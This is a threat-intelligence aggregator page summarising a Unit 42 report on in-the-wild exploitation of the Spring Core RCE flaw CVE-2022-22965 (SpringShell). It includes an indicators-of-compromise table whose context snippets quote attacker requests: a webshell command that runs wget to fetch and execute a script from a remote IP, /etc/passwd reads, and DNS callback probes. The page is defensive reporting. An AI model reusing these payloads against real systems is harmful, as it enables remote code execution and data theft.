Skip to content
NewA calmer, faster ZeroHour
Exploit / PoCcriticalExploited in the wild

CVE-2022-22965: Spring Core Remote Code Execution Vulnerability Exploited In the Wild (SpringShell) (Updated)

Palo Alto Unit 42by Haozhe Zhang, Ken Hsu, Tao Yan, Qi Deng, Robert Falcone ()12 min read8 · 4 reads
AI summary · glm-5.3-flashSummaries by Vani AI

Attackers actively exploit Spring Framework RCE CVE-2022-22965 (SpringShell, CVSS 9.8) to deploy webshells; patches 5.3.18/5.2.20 shipped March 31, 2022.

CVE-2022-22965 enables unauthenticated remote code execution in the widely used Spring Framework (CVSS 9.8), which Unit 42 has observed being exploited in the wild. The flaw stems from getCachedIntrospectionResults exposing the class object during parameter binding, letting attackers manipulate the class loader to modify Tomcat logging and upload a JSP webshell. Public PoCs require JDK 9+, Tomcat, WAR packaging, and spring-webmvc or spring-webflux dependencies on Spring 5.3.0-5.3.17, 5.2.0-5.2.19, or older. Fixes shipped in Spring Framework 5.3.18 and 5.2.20; the related Spring Cloud Function flaw CVE-2022-22963 was patched March 29, 2022.

Key facts
  • getCachedIntrospectionResults exposes the class object, enabling class loader manipulation to RCE.
  • Exploitation requires JDK 9+, Tomcat, WAR packaging, and spring-webmvc or spring-webflux.
  • Public PoC modifies Tomcat log configuration to upload a JSP webshell.
  • Unit 42 observed in-the-wild exploitation; patches 5.3.18/5.2.20 published March 31, 2022.
Analyze CVE-2022-22965 with Vani AIImpact, affected versions, exploitation, mitigations and detection

Vulnerabilities mentioned

All
CVEVulnerabilityCVSSEPSSSignalsPublished
CVE-2010-1622
—52%—
CVE-2022-22963
SpEL Expression Injection RCE in VMware Tanzu Spring Cloud Function
9.8100%KEVPoC
KEV
CVE-2022-22965
Unauthenticated RCE in VMware Spring Framework (Spring4Shell) - JDK 9+ Tomcat WARs
9.8100%KEVPoC
KEV

Indicators of compromise

auto-extracted · verify before use · export allAll
TypeIndicatorContext
domainburpcollaborator.netsswd cat+/etc/passwd id ifconfig ipconfig ping%20[redacted].burpcollaborator[.]net Observed in the Wild Our Spring Core Remote Code Executio
domainggdd.co.ukt general scanning activity. ls nslookup%20[redacted].test6.ggdd[.]co[.]uk nslookup+[redacted].test6.ggdd[.]co[.]uk ping%20[redact
ipv4107.174.133.167sp?pwd=j&cmd=/bin/sh/-c${IFS}'cd${IFS}/tmp;wget${IFS}hxxp://107.174.133[.]167/t.sh${IFS}-O-%a6sh${IFS}SpringCore;' Upon further analysi
ipv4109.74.204.123.148[.]229 1504 82.165.137[.]177 1351 172.104.159[.]48 1336 109.74.204[.]123 1188 5.253.204[.]37 1092 185.245.85[.]232 1090 185.196.3[
ipv4172.104.140.107253.204[.]37 1092 185.245.85[.]232 1090 185.196.3[.]23 1080 172.104.140[.]107 1080 207.246.101[.]107 1004 45.33.101[.]246 963 45.33.65[
ipv4172.104.159.4810.0.0.0/8 1680 178.79.148[.]229 1504 82.165.137[.]177 1351 172.104.159[.]48 1336 109.74.204[.]123 1188 5.253.204[.]37 1092 185.245.85
ipv4176.125.229.1455.33.101[.]246 963 45.33.65[.]249 911 195.246.120[.]148 865 176.125.229[.]145 Table 2. Top 15 source IPs triggering the Spring Core Rem
ipv4178.79.148.229observed. Count IP 4064 172.16.0.0/12 2664 10.0.0.0/8 1680 178.79.148[.]229 1504 82.165.137[.]177 1351 172.104.159[.]48 1336 109.74.2
ipv4185.196.3.2374.204[.]123 1188 5.253.204[.]37 1092 185.245.85[.]232 1090 185.196.3[.]23 1080 172.104.140[.]107 1080 207.246.101[.]107 1004 45.33.
ipv4185.245.85.232104.159[.]48 1336 109.74.204[.]123 1188 5.253.204[.]37 1092 185.245.85[.]232 1090 185.196.3[.]23 1080 172.104.140[.]107 1080 207.246.1
ipv4194.31.98.186botnet. The requests above were sent from the IP address ​​ 194.31.98[.]186 , which itself has hosted payloads associated with Mirai
ipv4195.246.120.1487.246.101[.]107 1004 45.33.101[.]246 963 45.33.65[.]249 911 195.246.120[.]148 865 176.125.229[.]145 Table 2. Top 15 source IPs triggeri
ipv4207.246.101.10745.85[.]232 1090 185.196.3[.]23 1080 172.104.140[.]107 1080 207.246.101[.]107 1004 45.33.101[.]246 963 45.33.65[.]249 911 195.246.120[.
ipv445.33.101.2466.3[.]23 1080 172.104.140[.]107 1080 207.246.101[.]107 1004 45.33.101[.]246 963 45.33.65[.]249 911 195.246.120[.]148 865 176.125.229[
ipv445.33.65.2494.140[.]107 1080 207.246.101[.]107 1004 45.33.101[.]246 963 45.33.65[.]249 911 195.246.120[.]148 865 176.125.229[.]145 Table 2. Top
ipv45.253.204.37.137[.]177 1351 172.104.159[.]48 1336 109.74.204[.]123 1188 5.253.204[.]37 1092 185.245.85[.]232 1090 185.196.3[.]23 1080 172.104.14
ipv482.165.137.17764 172.16.0.0/12 2664 10.0.0.0/8 1680 178.79.148[.]229 1504 82.165.137[.]177 1351 172.104.159[.]48 1336 109.74.204[.]123 1188 5.253.20
urlhttp://107.174.133.167/t.sh${IFS}-O-%a6sh${IFS}SpringCoreatwar.jsp?pwd=j&cmd=/bin/sh/-c${IFS}'cd${IFS}/tmp;wget${IFS}hxxp://107.174.133[.]167/t.sh${IFS}-O-%a6sh${IFS}SpringCore;' Upon further analysis, the t.sh script hosted on this r

From the original article

12 min read at unit42.paloaltonetworks.com

Recently, two vulnerabilities were announced within the Spring Framework, an open-source framework for building enterprise Java applications. On March 29, 2022, the Spring Cloud Expression Resource Access Vulnerability tracked in CVE-2022-22963 was patched with the release of Spring Cloud Function 3. 1.

Palo Alto Unit 42

By Haozhe Zhang, Ken Hsu, Tao Yan, Qi Deng, Robert Falcone · unit42.paloaltonetworks.com

Read the full article at Palo Alto Unit 42

A short excerpt; the article and its images belong to the publisher. Summary, key facts and assessment above are AI-written from the article and can be wrong.